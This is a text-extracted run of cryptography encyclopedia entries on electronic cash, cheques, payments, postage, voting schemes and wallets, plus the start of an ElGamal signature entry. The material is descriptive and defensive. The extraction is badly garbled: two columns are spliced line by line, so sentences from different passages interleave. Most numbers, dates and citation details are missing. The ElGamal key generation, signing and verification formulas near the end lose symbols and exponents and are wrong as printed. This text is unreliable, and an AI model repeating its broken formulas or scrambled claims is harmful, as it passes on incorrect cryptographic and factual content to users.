. Kuhn MG, Ross JA () Soft tempest: hidden data trans-
Digital Signature; Electronic Payment; Electronic
mission using electromagnetic emanations. In: Proceedings Wallet; Overspender Detection; Overspending Preven-
of information hiding, second international workshop, IH, tion; Practical E-cash; Unlinkability
E Electronic Cash
Denition independent of the payers who use them. According to

Electronic Cash is a self-authenticating digital payment work by Chaum and Brands [, ], this can be achieved
instrument that can be stored in an electronic wallet (or by blind signatures as follows: When a payer opens an
electronic purse) just like traditional cash is stored in a tra- account with her issuing bank, she identifies herself to the
ditional wallet. Electronic cash is a form of direct, offline, issuer and establishes a role pseudonym to be used for her
and prepaid electronic payment instrument, that is, pay- withdrawals of electronic coins from the issuer. When the
ers withdraw electronic cash from their bank accounts payer withdraws an electronic coin from her bank account,
prior to making a purchase and payment. To make a pay- the issuer provides a blind signature for the payers role
ment, the payer simply passes a sufficient amount of elec- pseudonym. Different public verifying keys can be used
tronic cash to the payee. The payee is not referred to a bank to encode different face values of electronic coins, such
account of the payer as he would by an electronic check. that the face value cannot be changed by the blinding of
signatures. The payer then transforms the blind signature
Theory into a signature for a one-time pseudonym of the payer.
Like electronic payment schemes in general, electronic The resulting electronic coin is statistically independent
cash schemes shall satisfy the following security require- of any other electronic coin of this and every other payer,
ments: thus achieving payer anonymity and payment unlinkabil-
ity even against computationally unlimited payees who
Payment authorization: Electronic cash typically comes in collaborate with the issuer to figure out origins of elec-
the form of electronic coins of various face values, which tronic coins. The remarkable property of Brands proposal
have attached a digital signature by the issuing bank. is that he shows how to construct the payment protocol
Any payee can immediately verify the validity of such such that the payer automatically loses her anonymity once
electronic coins by checking them against the public she spends any of her electronic coins twice. The pay-
verifying key of the respective issuing bank. ment protocol ensures that such cheating will immediately
No counterfeiting: The overall value of all payment instru- reveal to the payee the role pseudonym the payer uses with
ments shall not be increased without further action by her issuer. Thus, Brands electronic cash scheme achieves
an authorized minting bank. This is partly achieved by overspender detection even if implemented without tam-
the digital signatures of electronic coins, which ensure per resistant electronic wallets.
that electronic coins cannot be forged. However, the
digital signatures alone cannot prevent cheating pay- Reliability: The payment transaction must be atomic in
ers from overspending. In some systems, such attacks the sense that it is either processed completely or not
can be detected after the fact, but they cannot be pre- at all. Even if the network or system crashes, there
vented unless electronic wallets employ a piece of tam- must be recovery mechanisms in place that either allow
per resistant hardware that controls the spending of to re-synchronize the devices of all participants auto-
coins effectively. A moderate level of tamper resistance matically or at least enable all participants to make
can be achieved by smartcards. This approach is taken, their just claims. This is usually not addressed in the
for example, by []. Stronger levels of tamper resis- cryptographic literature, and for many electronic cash
tance can only be achieved by more tamper responsive schemes actually in use, it is not described in great
electronic wallets. detail.
Confidentiality: Certain payment information may be Nacchache and van Solms [] pointed out that anony-
required to be kept confidential from prying eyes mous electronic cash can be misused if there is no way
(privacy). The purchase content, the payment amount, of revoking the payers anonymity in case of suspected
or the time of payment shall not be disclosed to indi- money laundering and other kinds of financial abuse. Their
viduals not involved in the transaction. This is usually work sparked more sophisticated proposals of anonymous
achieved by using a point-to-point connection between electronic cash, for example, by Brickell, Gemmell, and
the payers electronic wallet and the payees merchant Kravitz [] where centralized or decentralized trustees are
device (e.g., a point of sale terminal), or by using capable of revoking the anonymity from electronic coins.
an SSL/TLS tunnel over the Internet (Secure Socket Electronic cash provides customers a way of offline
Layer and Transport Layer Security). electronic payment, that is, no bank or other trusted
third party is involved in the payments. This may be
Payer anonymity and payment unlinkability can appealing to certain groups of customers, but it is not
be achieved by electronic coins that are statistically favored by banks, and banks have argued against offline
Electronic Payment E
electronic payments by saying it is less secure than online Denition

electronic payments. An electronic order from one party (the drawer) to another
(the drawee, normally a credit institution) requiring the
Applications drawee to pay a specified sum on demand to the drawer
An industrial example of an electronic cash system or a third party specified by the drawer.
is MasterCards Mondex [], which is based on elec-
tronic wallet devices that can directly communicate with Background
each other.
Theory
An electronic cheque functions very much in the same
way as a paper cheque: it acts as a message to a bank to
Another practical issue in any electronic cash product
is how customers are protected against loss of electronic
transfer funds to a third party; however, it has a number E
of security advantages over conventional cheques since the
coins in critical cases such as when their electronic wallets
account number can be encrypted, a digital signature can
fail or if disaster or bankruptcy strikes their issuer.
be employed, and digital certificates can be used to validate
It is thus conceivable that electronic cash will remain
the entities involved.
a method of payment for smaller amounts, while online
electronic payments methods will remain to be used for
larger amounts. Applications
There are a number of schemes for electronic cheques
Recommended Reading which have been developed including one from the FSTC
(see Ref. []), a consortium of US banks and clearing
. Brands S () Untraceable off-line cash in wallet with
observers. In: Stinson DR (ed) Advances in cryptology houses.
CRYPTO, vol . Springer, Berlin, pp
. Brickell E, Gemmell P, Kravitz D () Trustee-based trac- Open Problems
ing extensions to anonymous cash and the making of anony-
Some of the current electronic cheque systems do not
mous change. th ACMSIAM symposium on discrete algorithms
(SODA), . ACM Press, New York, pp address adequately issues concerning privacy, confiden-
. Chaum D () Blind signatures for untraceable payments. tiality, and traceability. Some of these issues are highlighted
In: Chaum D (ed) Advances in cryptology CRYPTO. Lecture in Ref. [].
Notes in Computer Science. Plenum, New York, pp
. http://www.mondex.com
. Naccache D, von Solms S () On blind signatures and perfect
Recommended Reading
crimes. Comput Secur (): . http://www.fstc.org
. http://www.vkrishnan.com/Research/publications_assets/C
EC.pdf
Electronic Check
Electronic Cheque
Electronic Payment
Gerrit Bleumer
Electronic Cheque Birkenwerder bei Berlin, Germany
Marijke De Soete
SecurityBiz, Oostkamp, Belgium
Related Concepts
Digital Signature; Electronic Wallet; Overspender
Detection; Overspending Prevention; Unlinkability
Synonyms
Electronic Check Denition
Electronic payment is a digital substitute for conventional
Related Concepts payment by cash, check, debit card, credit card, wire trans-
Electronic Payment Instruction fer, or the like.
E Electronic Payment
Background schemes require payers to use electronic wallets, that is,

Since the Internet spread beyond the research commu- secure hardware devices, in order to prevent overspending
nities and made significant inroads into the commercial (overspending prevention). Direct payment schemes can
world, more and more customers connected to the Inter- be classified as follows:
net. Customers first got equipped with personal comput- Pre-pay: At the time of payment, the payees bank account
ers, then with palm pilots, and more recently with cell is credited, but the payer has to have withdrawn a sufficient
phones and smart phones. By the end of the s, most amount of money from her or his accounts BEFORE mak-
customers in the developed countries connected to the ing the payment. This is usually called electronic cash.
Internet by one device or another. The wide availability Pay-now: At the time of payment, the bank account of the
of customer devices and the Internet itself sparked the payers is debited and the bank account of the payee is
development of electronic payment instruments through- credited. Examples are electronic checks and debit cards.
out the s and s and many of them have been put Pay-later: At the time of payment, the payees bank account
to trial. is credited, but the payers bank account is debited some
time later. Typical examples are electronic credit cards.
Theory Payment schemes must satisfy a number of security
In traditional payment systems as well as in electronic requirements:
payment systems, payers and payees keep and manage Payment authorization: Payers shall not find money
their money in bank accounts. The payers bank is some- deducted from their accounts without their consent. Thus,
times called the issuer, while the payees bank is called all payments shall be authorized at least by the payer. This
the acquirer. A payment system is a way to move a spec- will not neccessarily imply that payers have to authenticate
ified amount of money from the payers bank account into their identity to payees. In pre-pay systems, that is, e-cash
the payees bank account in a secure fashion. In order to systems, the payment instruments are self-authenticated,
transfer money from the payers account at the issuer to and payers may remain anonymous.
the payees account at the acquirer, the payer and payee A payer can authorize a payment by out-of-band
can use various electronic payment instruments. All elec- means such as by phone or regular mail. This is com-
tronic payment instruments are electronic representations mon with credit cards payments for phone orders or
of cash, a payment order, funds transfer order, or the like mail orders. In lasting business relationships, the payer
that authorizes the transfer of a specified amount of money. and payee can agree on a shared secret such as a pass-
Electronic payments can be initiated by the payer or by word, passphrase, or PIN. The payer then needs to type
the payee. the shared secret in order to authorize a payment to the
In indirect payment systems, the payer initiates a pay- payee sharing the secret. The highest degree of security
ment with the acquirer into the payees bank account, or can be achieved if the payer uses a digital signature to
the payee initiates a payment with the issuer from the authorize payments. Distributing the respective public ver-
payers account. In either case, the payer and payee have no ifying keys requires a public key infrastructure (PKI),
online interaction during the payment. Respective exam- but ensures non-repudiation, that is, only the intended
ples are electronic funds transfer and automatic clearing payer is capable to produce a signature for the payment
house (ACH). with respect to the public verifying key certified to the
In direct payment schemes, the payer and payee inter- payers name.
act online during the payment while connecting their No counterfeiting: The overall value of all payment instru-
devices, either directly, for example, by inserting the payers ments cannot increase without further action by an autho-
card into the payees card reader and terminal or by a rized minting bank. In other words, payees shall not find
point-to-point IR connection, or by connecting the two their accounts credited without anyone actually paying for
devices through a wired or wireless (usually point-to- this amount.
point) network. A direct payment scheme is called online Confidentiality: Certain payment information may be
if the payment protocol requires the issuer or the acquirer required to be kept confidential from prying eyes
to participate in the payment protocol online. Other- (privacy). The purchase content, the payment amount,
wise, it is called offline. Online payment schemes are or the time of payment shall not be disclosed to individu-
perceived as more secure because each payment transac- als not involved in the transaction. If anonymity of payer
tion is overseen by an issuer or by an acquirer, who are or payee, unlinkability of payments, or untraceability of
regarded as trusted authorities. Offline (direct) payment payments is an issue, then the identities of the payer and/or
Electronic Postage E
payee must be disclosed neither to outsiders nor to certain

participants of the payment transaction. Electronic Postage
Reliability: The payment transaction must be atomic in
the sense that it is either processed completely or not at Gerrit Bleumer
all. Even if the network or system crashes, there must Research and Development, Francotyp Group,
be recovery mechanisms in place that either allow to re- Birkenwerder bei Berlin, Germany
synchronize the devices of all participants automatically or
at least enable all participants to make their just claims. Related Concepts
Hardware Security Module; Public Key Infrastructure
Applications
In order to support frequent payments of small amounts, Denition E
typically less than $ each, special micro payment schemes Electronic postage is an electronic payment instrument for
have been proposed. They involve no complex crypto- postal transportation services.
graphic computations for the payment itself, but require
some overhead between the payer and payee in order to Background
set up the micropayment option. Typical applications are Customers who have an average of five to ten mail pieces
pay-per-view or pay-per-click or pay-per-phone tick. If to send per day will use stamps, and customers who have
micropayments between a payer and a payee are so rare several hundreds of mail pieces of equal weight and size
that even the small overhead to set up the micropayment will use rebated bulk mail options. For many other cus-
option is not justified, then they can still use a micro pay- tomers, electronic postage is a convenient option. Elec-
ment scheme, such as -iKP [], by employing a broker tronic postage comes in two form factors, as a software
who frequently receives micro payments from the payer application running on a regular personal computer, or
and makes micropayments to the payee. This way, one built right into a desktop printer, or integrated into a
leverages on existing business relationships spanning from postage metering device [].
the payer over the broker to the payee. However, the rele- Large Postal Services such as the US Postal Services,
vance of micro payment systems to the real economy will Deutsche Post AG, and Canada Post Corporation have
be limited according to Odlyzko []. started initiatives that will replace mechanical postage
The predominant standard for online pay-now schemes metering devices in their respective postal markets by elec-
(electronic checks) is SET, the Secure Electronic Transac- tronic metering devices within to years. Other Postal
tions [] standard, a merger of VISAs Secure Transaction Services are likely to follow these initiatives because elec-
Technology (STT) and Master Cards Secure Electronic tronic metering devices reduce the risk of fraud signif-
Payment Protocol (SEPP). Marketing, branding, and com- icantly, and they support the integration of value-added
pliance testing is organized by SetCo, Inc., a joint sub- features such as track and trace services.
sidiary of VISA and MasterCard. The first specification of electronic postage was pub-
There is a large and quickly changing variety of propos- lished by the US Postal Services in []. The first pub-
als for electronic payment schemes; some more directed lication specified closed systems, that is, postage metering
to research activities, others striving for market share. A devices that couple the electronic postage vault together
good overview was given by Asokan, Janson, Steiner, and with the printing mechanism. It was later accompanied
Waidner in []. by a specification of open systems, which means systems
based on a regular personal computer connected to a desk-
top printer. Both specifications enforced that electronic
Recommended Reading
postage would only be stored inside certified hardware
. Asokan N, Janson PA, Steiner M, Waidner M () The state of
the art in electronic payment systems. Computer (): security modules, which were called postal security devices
. Bellare M, Garay J, Hauser R, Herzberg A, Krawczyk H, Steiner M, (PSD). In closed systems, the postal security devices would
Tsudik G, Van Herreweghen E, Waidner M () Design, imple- be integrated within the postage metering devices in order
mentation and deployment of the iKP secure electronic payment to facilitate high throughputs of mail pieces. For open sys-
system. IEEE J Sel Areas Commun ():
tems, there were two options. Either the postal security
. http://www.setco.org/set_specifications.html
. Odlyzko A () The case against micropayments. In: Wright device was held inside a server at the postage provider,
RN (ed) Financial cryptography, vol . Springer, Berlin, such that customers could use some application software in
pp order to download postage every time they had to produce
E Electronic Postage
Postage Amount/Rate Category

Postage Amount/Rate Category
Licensing Post Office/Mailed From Zip Code
Date of Mailing
Device ID/Type
Electronic Postage. Fig. Sample indicia
an indicium for a mail piece. This approach is called online The postal mail sorting centers have to be equipped with
PC postage. The other option was to build postal secu- CCD cameras in order to read the barcodes. Furthermore,
rity devices into the customers personal computers, which the postal infrastructure must be enabled to decode the
would then be used more or less like a postage meter. This mail piece parameters and the respective digital signatures
approach is called offline PC postage. In , a third type from each barcode and verify these digital signatures. In
of system was specified, called centralized systems, where order to do this, the postage providers are required by IBIP
customers employ one postal security device in a cen- to submit the public verifying keys of each postal security
tral location of a network, and connect several printers or device under their or one of their customers operation to
postage metering devices (without built-in postal security the US Postal Services. The US Postal Services have set up
devices) to the network, for example, one for each depart- a Public Key Infrastructure (PKI) to which each postage
ment. Each printer or postage metering device would then provider must get registered before it can be approved
receive its indicia from the central postal security device. In to provide electronic postage to the US postal market.
practice, profitable business models have only been devel- The postal security devices must be certified according
oped for electronic postage metering devices and for online to the Federal Information Processing Standard (FIPS)
PC postage (see listings at [, ]). - Level with additional requirements on physical
security []. They must have an active tamper response
Theory mechanism that permanently shuts off the signing func-
The main idea behind the Information Based Indicia Pro- tionality of the postal security device as soon as specified
gram (IBIP) is this: each postal security device serves as attempts of tampering are detected. The operating software
a secure storage for prepaid electronic postage, and proof postal security devices must be designed to implement
duces a digital signature for each mail piece a customer a finite state machine specified by IBIP. An important part
is going to send. Typically, the digital signature is proof the internal state of a PSD is its set of postal registers
duced in real time, such that all actual mail piece param- that keeps track of its electronic postage. Mainly, there is
eters such as weight, size, mail category, date of mailing, a descending register, an ascending register, and a control
etc., can be taken into account by the digital signature. total register, which are initially set to zero. The descending
All parameters and the digital signature of a mail piece register is increased by a respective amount every time the
are encoded into a two-dimensional barcode, which is postal security device downloads electronic postage from
printed in the upper right corner of an envelope. A sim- the postage provider, and it is decreased by the face value of
ilar kind of bar code can also be used for parcels. Typically, a requested indicium every time the postal security device
those barcodes are printed to a label, which the customer produces a signature. The ascending register is increased by
affixes to the respective parcel. IBIP specifies which sig- the face value of a requested indicium every time the postal
nature algorithms are permitted (the RSA digital signa- security device produces a signature. The total setting reg-
ture scheme, the Digital Signature Standard (DSS), and ister is increased by a respective amount every time the
Elliptic curve signature schemes(ECDSA)), which mini- postal security device downloads electronic postage from
mum resolution to be used for printing indicia, and which the postage provider. At any point in time during the life
barcode symbologies are permitted (PDF and Datama- cycle of a postal security device, these three postal registers
trix []). IBIP also specifies the length of the keys to be used shall observe the following relation:
for the digital signature scheme, and in case of ECDSA
specifies a set of permitted elliptic curves based on rec- Descending register + ascending register = total settings
ommendations by NIST []. The size of the footprint of register ()
the resulting barcodes is between in. (PDF), and
in. (Datamatrix). Sample indicia with either bar code Other Postal Services such as Deutsche Post AG [] or
symbology are displayed in Fig. . Canada Post Corporation have specifications that rely on
Electronic Voting Schemes E
the same principles as the Information Based Indicia Pro- Lecture notes in computer science, vol . Springer, Berlin,
gram including the use of FIPS - certified hardware pp
. United States Postal Services. Information based indicia pro-
security modules with the above mentioned postal regis-
gram. Available on http://www.usps.gov/postagesolutions
ters, but may specify other types of digital signatures, key
lengths, elliptic curves, or integrity check codes based upon
message authentication codes in place of digital signatures.
Applications Electronic Purse

The deployment of CCD cameras, high-speed crypto-
graphic equipment for verifying digital signatures, and a Electronic Wallet
countrywide distributed database for detecting and reject-
ing replays of indicia are the major investments for any
E
Postal Service making the transition toward electronic
postage. Since the early s, there is also increasing activ- Electronic Voting Schemes
ity into innovation and patenting by the postage providers.
Because of these commitments, electronic postage can be Kazue Sako
expected to become an industrial application area of secu- NEC, Kawasaki, Japan
rity and cryptography mechanisms.
All of these specifications value traceability of cus-
tomers higher than their privacy. For example, there is Denition
no option in any of these specifications to send mail A system is called an electronic voting system when bal-
anonymously. The likely reasons are firstly that the by far lots are directly recorded electronically. Depending on the
largest group of customers are companies, who naturally context, it may include voting systems that use electronic
have an interest to be recognized, not to remain anony- devices for reading paper ballots, such as punch cards and
mous, and secondly, that the main motivation of the Postal optically marked ballots.
Services to retire the mechanical postage meters in their
markets was to reduce fraud by meter manipulation. Nev-
ertheless, if electronic postage should take over significant
Background
In most electronic voting systems used today, voters go to
market share from conventional stamps, then privacy
designated polling places, and cast their votes electroni-
probably becomes a customer requirement to be addressed
cally after being identified and authorized by conventional,
[]. Sending mail anonymously can be misused to cover
nonelectronic means. In the near future, systems in which
up attacks against mail recipients by using mail bombs
voters securely cast their ballots to the authorities over
or contaminated mail pieces. But making products avail-
a network, and do not physically be present at polling
able that allow anonymous electronic postage would nei-
places can be envisioned. The research on electronic vot-
ther encourage such attacks, nor would prohibiting these
ing schemes started based on this future model. When
products prevent such attacks.
both authentication of voter and casting of a vote were
Electronic postage for postcards has been addressed by
performed over network, how to maintain the privacy of
Pintsov and Vanstone in [].
the ballots while ensuring their validity, and with reliably
verifying the final tally.
Recommended Reading
. ANSI/AIM BC International symbology specification data
matrix; /. Available on http://www.rvsi.com/cimatrix/ Theory
DataMatrix.html The general technique of secure multiparty computation
. Bleumer G () Secure PC-franking for everyone. In:
can be applied to solve this problem in theory. However,
Bauknecht K, Madria SK, Pernul G (eds) EC-Web . Lecture
such a solution places a heavy computational load on the
. Deutsche Post AG http://www.deutschepost.de/stampit voters computer, and requires transaction with all other
. National Institute of Standards and Technology () Secu- voters, making it impractical. A more realistic approach is
rity requirements for cryptographic modules. FIPS PUB -. to establish voting authorities and develop protocols spe-
Available on http://csrc.nist.gov/cryptval/- .htm
cific to voting so that a voter only needs to communicate
. Pastor J () CRYPTOPOST. A cryptographic application to
mail processing. J Cryptol ():
with the authorities, with a moderate computational and
. Pintsov LA, Vanstone SA () Postal revenue collection in communication cost. The goal of such protocols is to pre-
the digital age. In: Frankel Y (ed) Financial cryptography . vent the authorities from learning who voted for whom
E Electronic Voting Schemes
(or what), while enabling them to check the validity of the by and no-vote by , the sum of votes gives the number
votes and compute the correct tally. of yes-votes. If the votes are encrypted using a homo-
Two approaches for maintaining the privacy of votes morphic encryption function, the encrypted votes may
are: () hiding the voters identity and () hiding the vote be combined to create an encryption of the sum of these
data. In the former approach, an anonymous channel by votes, without decrypting any of the votes. Decrypting the
which authorities can receive a ballot, but cannot deter- encrypted total gives the final tally. In order to use this idea,
mine who sent it is necessary. Given this channel, cryp- use of probabilistic public-key encryptions is necessary;
tographic mechanism is designed so that one can verify otherwise, all encrypted yes-votes would look exactly the
that the senders of a vote are registered valid voters, and same, and it would be straightforward to determine how
that the voters have not cast multiple times. In the lat- people voted.
ter approach, the authorities can identify the voter but the Another method of tallying encrypted votes while pre-
ballots are encrypted. Furthermore, cryptographic mech- serving privacy is by using a cryptographic shuffling pro-
anism is designed so that the voting authorities can tally cedure. In this method, the authorities do decrypt each
the ballots without decrypting each ballot individually. The ballot but only when the ballots are shuffled so that the
mechanisms to solve the problems in each approach are voters identity cannot be matched to any voter list. In
described below. cryptographic shuffling, the list of encrypted ballots is
A key technique in the former approach is blind sig- transformed to another list of encrypted ballots, where
natures. A blind signature scheme enables a signer to sign the order of the entries is shuffled, so that no one can
a message without seeing it. This may sound paradoxical, determine the correspondence between entries in the new
but is a powerful tool in achieving privacy in voting and list and entries in the old list. To do so, the appearance
payments systems (electronic cash). Prior to voting, the of each encrypted entry must be changed without alter-
authorities identify the voter and, using the blind signa- ing its decrypted result. For this regard, an encryption
ture scheme, issue a digital signature to his ballot. Thus, scheme that is malleable is used: that is, this procedure can
the authorities cannot learn the vote, but the voter receives be performed by a party without knowing the decryption
a legitimately signed ballot. During the voting phase, the key. An example of such a scheme is ElGamal public key
voter anonymously sends the signed ballot. encryption.
The authorities can check the validity of the ballot by Each of the two approaches described above has its own
verifying their own signature on it. The use of blind sig- advantages and disadvantages; each is based on different
nature scheme prevents the authorities from learning to assumptions. The former strategy requires an anonymous
which voter the signature was issued. Along with blind channel. The latter requires that all voters trust the author-
signatures, it is necessary to have a mechanism for dis- ities holding the decryption key (in more sophisticated
tinguishing between two valid ballots from two different schemes, it is only necessary to trust that one of the author-
voters with the same choice and two or more ballots from ities is honest). Verifiability of the tally is also different. In
a single voter. This can be done by including random the former, one can verify only his or her own vote, while
sequences in the ballot format. By making a long enough in the latter, anyone can verify the integrity of voter signa-
sequence, the probability that two distinct voters chose the tures on the accepted vote list and the correctness of the
same sequence can be made negligibly small. If two bal- sum based on the list.
lots are ever submitted with the same sequence, they are
assumed to be copies of a single legitimate ballot, and only Open Problems
one is counted. Neither strategy has a good solution for the receipt-free
This random sequence can also serve as a key to ver- problem. That is, a malicious voter (or a coerced inno-
ify the authoritys activity. By searching for this sequence cent voter) generates a receipt or a proof of how he or
in a published list of the accepted ballots, a voter can con- she voted to trade for money (or to satisfy the coercer).
firm that his vote was indeed counted in the tally. The ballot Current solutions require physical assumptions or work on
format should be designed to prevent a voter from receiv- a limited coercer model.
ing multiple valid ballots in a single blind signature issuing Besides the above studies of electronic voting schemes
procedure. where both voter authentication and vote casting are per-
For the second approach, a special encryption func- formed on network, there are studies of performing a
tion that enables the tallying of votes without decrypting secure voting using voting terminals placed in polling
each vote is used. This function is homomorphism, that places like today. The issue here is how can a voter ver-
is, encryption of addition of two values equals addition ify that the terminal has generated and sent the electronic
of encryption of each value. If a yes-vote is represented records in a way the voter intended to cast, where a voter
Electronic Wallet E
typically has limited power of computation for verifica- Denition

tion. The approaches in this study include having specially An electronic wallet is a mobile consumer device typi-
designed paper ballots. For example [, ], a voter receives cally containing a hardware security module that is used
two pieces of paper cards, or a voter tear one paper bal- to perform payment transactions.
lot into two pieces, to end up with a ballot with candidates
name, and a receipt where voter can take home. The receipt
does not display how the voter voted, but codes on the Background
receipt allows the voter to verify that his vote has been In a general business sense, an electronic wallet (or elec-
properly counted using computers from home. Not only tronic purse) is a consumer device providing some addi-
cryptographic techniques but also solutions using special tional security compared to a mere credit card solution.
chemical ink have been proposed []. An electronic wallet could be as simple as an encrypted
storage of credit card information that saves consumers
E
Recommended Reading to reenter their credit card data manually each time they
. Chaum D () Untraceable electronic mail, return addresses, make a payment. There is a considerable variety of prod-
and digital pseudonyms. Commun ACM (): ucts and services, each called electronic wallet or elec-
. Chaum D () Security without identification: transaction sys-
tronic purse, that turn up in the marketplace and in
tems to make big brother obsolete. Commun ACM ():
investors press conferences, while the technical specifica-
. Cramer R, Gennaro R, Schoenmakers B () A secure and tions and the life time of these products and services are
optimally efficient multi-authority election scheme. Eur T left unclear. We will thus concentrate on the more spe-
Telecommun : (Preliminary version in Advances in cific use of the term electronic wallet in the cryptographic
CryptologyEUROCRYPT)
literature.
. Fujioka A, Okamoto T, Ohta K () A practical secret voting
scheme for large scale elections. In: Okamoto T (ed) Advances in
cryptologyAUSCRYPT, Lecture Notes in Computer Science,
vol , Springer, Berlin, pp Theory
. Hirt M, Sako K () Efficient receipt-free voting based In a more specific, cryptographic sense, an electronic wal-
on homomorphic encryption. In: Preneel B (ed) Advances in
let is a consumer device designed to store and manage
cryptologyEUROCRYPT , Lecture Notes in Computer Sci-
ence, vol . Springer, Berlin, pp electronic funds or electronic cash. In particular, an elec-
. Chaum D, Essex A, Carback R, Clark J, Popoveniuc S, Sherman tronic wallet is used to download funds from a bank
A, Vora P () Scantegrity: end-to-end voter-verifiable optical- account, to store those funds inside the electronic wallet,
scan voting. IEEE Secur Priv (): and transfer deliberate amounts to other electronic wal-
. Ryan P, Bismark D, Heather J, Schneider S, Xia Z () Prt
lets or point of sale terminals in order to make purchases.
voter: a voter-verifiable voting system. IEEE Trans Inf Forensics
Security (): Even, Goldreich and Yacobi [] were one of the first to con-
. Chaum D, Carback R, Clark J, Essex A, Popoveniuc S, Rivest R, sider electronic wallets as consumer devices with keypad
Ryan P, Shen E, Sherman A, Vora P () Scantegrity II: end- and display allowing their holders to also inspect the cur-
to-end verifiability by voters of optical scan elections through rent amount of stored electronic cash and configure their
confirmation codes. IEEE Trans Inf Forensics Security ():
own devices.

If such electronic wallets have an offline electronic cash
scheme installed, consumers experience increased auton-
omy because they can make payments offline and manage
the amounts of electronic cash remaining in their e-wallets
Electronic Wallet offline, i.e., without a bank or any other trusted third party
being involved in the payments or management actions.
Gerrit Bleumer
Such electronic wallets differ from ATM cards, debit cards,
or credit cards, which are merely tokens that identify
their holders to access the respective bank accounts or
allow payees to deduct certain payment amounts from the
Synonyms respective payers bank accounts.
Electronic purse An electronic wallet shall satisfy security requirements
of their holders and of the banking industry operating
Related Concepts the financial infrastructure behind those electronic wal-
Electronic Cash; Electronic Payment; Hardware lets. Pfitzmann, Pfitzmann, Schunter, and Waidner []
Security Module distinguish the following three security requirements on
E Electronic Wallet
mobile user devices in general and on electronic wallets in Holder paying chunks of e-cash from her wallet with
particular: observer to a payee (merchant) to make a purchase
Personal agent trust: In normal operation, consumers Merchant depositing paid e-cash into his account at an
demand their electronic cash to be stored reliably by acquirer
their electronic wallets. All sorts of mishaps, e.g., hit-
ting unintended commands at the keypad, interrupting Each of these protocols includes actions of the respec-
communication lines, or experiencing downtimes of tive issuer or acquirer, the wallet and the observer. The
the banking servers, shall all be smoothly tolerated by observers are all certified by the banking infrastructure
the electronic wallets without losing a penny of elec- behind the issuer and the acquirer, and the observers task
tronic cash. Consumers may have additional privacy in all the protocols is to authenticate the holders wallet
requirements such as anonymity or unlinkability of to the respective issuer or acquirer and to authorize the
transactions, or untraceability of their payments. As a requested transaction. For example, the observer keeps
minimum privacy requirement, they may want to pre- track of the amount of funds remaining inside its wallet. If
vent payment providers, payees, and others to implant the holder requests to spend an amount that exceeds the
cookies on their electronic wallets, which could be used available funds in her wallet, then the observer will not
to trace their purchase behavior. authorize the payment and the payee will not acknowl-
Captured agent trust: In exceptional cases where an elec- edge the payment. However, the observer has no way of
tronic wallet is lost or stolen, attackers shall find it communicating directly with the issuer or the acquirer.
infeasible to misuse a captured electronic wallet in All communication between the observer and an issuer or
order to pay for their own dealings. In general, a cap- acquirer is relayed through the wallet, which transforms all
tured electronic wallet shall stop all its services and messages in such a way that it preserves the authentication
render itself totally useless to a potential attacker. In sit- and authorization by the observer, but keeps the payment
uations where a consumer is blackmailed and forced to transactions of all holders statistically unlinkable, even if
authorize a certain payment on behalf of an attacker, the issuers and the payees all collaborate against the payers.
for example, by entering a password, there should be Cramer and Pedersen [] improved this proposal by
mechanisms in place by which the victim could pur- achieving the same strong unlinkability of payments even
posely lock up his electronic wallet and optionally set if the attacker coalition of issuers and payees captures
off some form of alarm, preferably some wireless alarm the wallets with the observer and manages to extract all
that goes unnoticed by the attacker []. information stored by the observer.
Undercover agent trust: The banking industry demands Brands [] proposed an independent suite of proto-
that legitimate holders cannot misuse their electronic cols for withdrawal, payment, and deposit that achieved
wallets, for example, by manipulating electronic wal- the same level of security as Cramer and Pedersen [], and
lets such that the amount of electronic cash is increased the additional feature that a holder who spends any piece
without being paid for, or by spending electronic cash of electronic cash more than once would automatically
more than once, or by using premium services although revoke its own anonymity, such that the acquirer who col-
they should not be available to a consumer because lects two or more deposits originating from the same piece
they have not been paid for. In a certain sense, an elec- of electronic cash would efficiently recover the cheating
tronic wallet is a pocket branch of the issuing bank in holders identity.
the hands of a consumer. Like with any real branch, it
should be infeasible to break in and steal the assets. Applications
In a landmark paper, Chaum and Pedersen [] have Most commercially available electronic wallets are based
proposed a hardware architecture for electronic wallets on smart cards in order to keep the price tag low. Promi-
that can support all of the above security requirement at nent examples are Mondex [] and [] Common Electronic
the same time. The main idea is to embed a tamper resis- Purse Specifications (CEPS), which is based on the EMV
tant piece of hardware, which is called an observer, into a specification by Europay, MasterCard, and Visa. Smart
larger piece of hardware, called a wallet, which is totally cards, however, can hardly meet all of the above security
under the holders control. Chaum and Pedersen devised requirements with a high level of assurance (Security
protocols for the:
Evaluation Criteria). For example, in order to achieve
undercover agent trust, an electronic wallet had to have
Holder withdrawing e-cash from her account at an some active tamper response mechanism, which would
issuer into her wallet with observer lock up the electronic wallet in case it detects an attempt of
ElGamal Digital Signature Scheme E
tampering with the secure housing of the circuitry. Secu- Key Generation. Given a security parameter Z as input
rity assurance can be evaluated and certified according to do the following:
the industry standard the Federal Information Processing
. Generate a random -bit prime p. Pick a random
Standard (FIPS) -.
generator g Zp of the group Zp .
. Pick a random integer [, p ] and compute
Recommended Reading
y = g Zp .
. Brands S () Untraceable off-line cash in wallet with
observers. In: Stinson DR (ed) Advances in cryptology . Let H be a hash function H : {, } {, . . . , p }.
CRYPTO. Lecture notes in computer science, vol . Springer, . Output the public key (p, g, y, H) and the private key
Berlin, pp (p, g, , H).
. Chaum D () Achieving electronic privacy. Sci Am :

Signing. To sign a message m {, } using the private E
. Chaum D, Pedersen T () Wallet databases with observers.
In: Brickell EF (ed) Advances in cryptology CRYPTO. key (p, g, , H) do:
pp . Pick a random integer k [, p ] with gcd(k,
. Cramer R, Pedersen T () Improved privacy in wallets with p ) = .
observers (Extended abstract). In: Helleseth T (ed) Advances
. Compute r = g k mod p. We view r as an integer
in cryptology EUROCRYPT. Lecture notes in computer
science, vol . Springer-Verlag, Berlin, pp r < p.
. Even S, Goldreich O, Yacobi Y () Electronic wallet. In: Chaum . Compute s = k (H(mr) r) mod p . Here mr
D (ed) Advances in cryptology CRYPTO. Plenum, New York,
pp denotes concatenation of m and r.
. http://www.cepsco.com
. Output the pair (r, s) Zp as the signature on m.
. http://www.mondex.com
. Pfitzmann A, Pfitzmann B, Schunter M, Waidner M ()
Trusting mobile user devices and security modules. Computer Verifying. To verify a message/signature pair (m, (r, s))
(): using the public key (p, g, y, H) do:
. Verify that r < p, otherwise reject the signature.

. Compute v = yr r s Zp .
ElGamal Digital Signature . Accept the signature if v = g H(mr) Zp . Otherwise,
Scheme reject.
Dan Boneh We first check that the verification algorithm accepts

Department of Computer Science, Stanford University, all valid message/signature pairs. For a valid mes-
Stanford, CA, USA sage/signature pair we have:
